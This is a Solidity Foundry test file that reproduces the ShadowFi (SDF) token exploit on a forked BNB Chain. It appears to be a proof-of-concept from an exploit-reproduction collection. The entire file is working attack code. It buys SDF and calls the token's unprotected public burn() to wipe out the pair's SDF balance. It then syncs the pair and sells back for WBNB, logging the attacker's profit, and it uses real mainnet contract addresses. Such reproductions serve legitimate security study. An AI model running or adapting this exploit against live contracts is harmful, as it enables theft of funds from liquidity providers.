Shadowfi_exp.sol

pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

interface ISDF {
    function burn(address, uint256) external;
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 value) external returns (bool);
}

interface IPair {
    function sync() external;
}

contract ContractTest is Test {
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    ISDF SDF = ISDF(0x10bc28d2810dD462E16facfF18f78783e859351b);
    IPair Pair = IPair(0xF9e3151e813cd6729D52d9A0C3ee69F22CcE650A);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 20_969_095);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);

        address(WBNB).call{value: 0.01 ether}("");
        WBNBToSDF();
        SDF.burn(address(Pair), SDF.balanceOf(address(Pair)) - 1);
        Pair.sync();
        SDFToWBNB();

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function WBNBToSDF() public {
        WBNB.approve(address(Router), ~uint256(0));
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(SDF);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
        SDF.approve(address(Router), ~uint256(0));
    }

    function SDFToWBNB() public {
        address[] memory path = new address[](2);
        path[0] = address(SDF);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            SDF.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}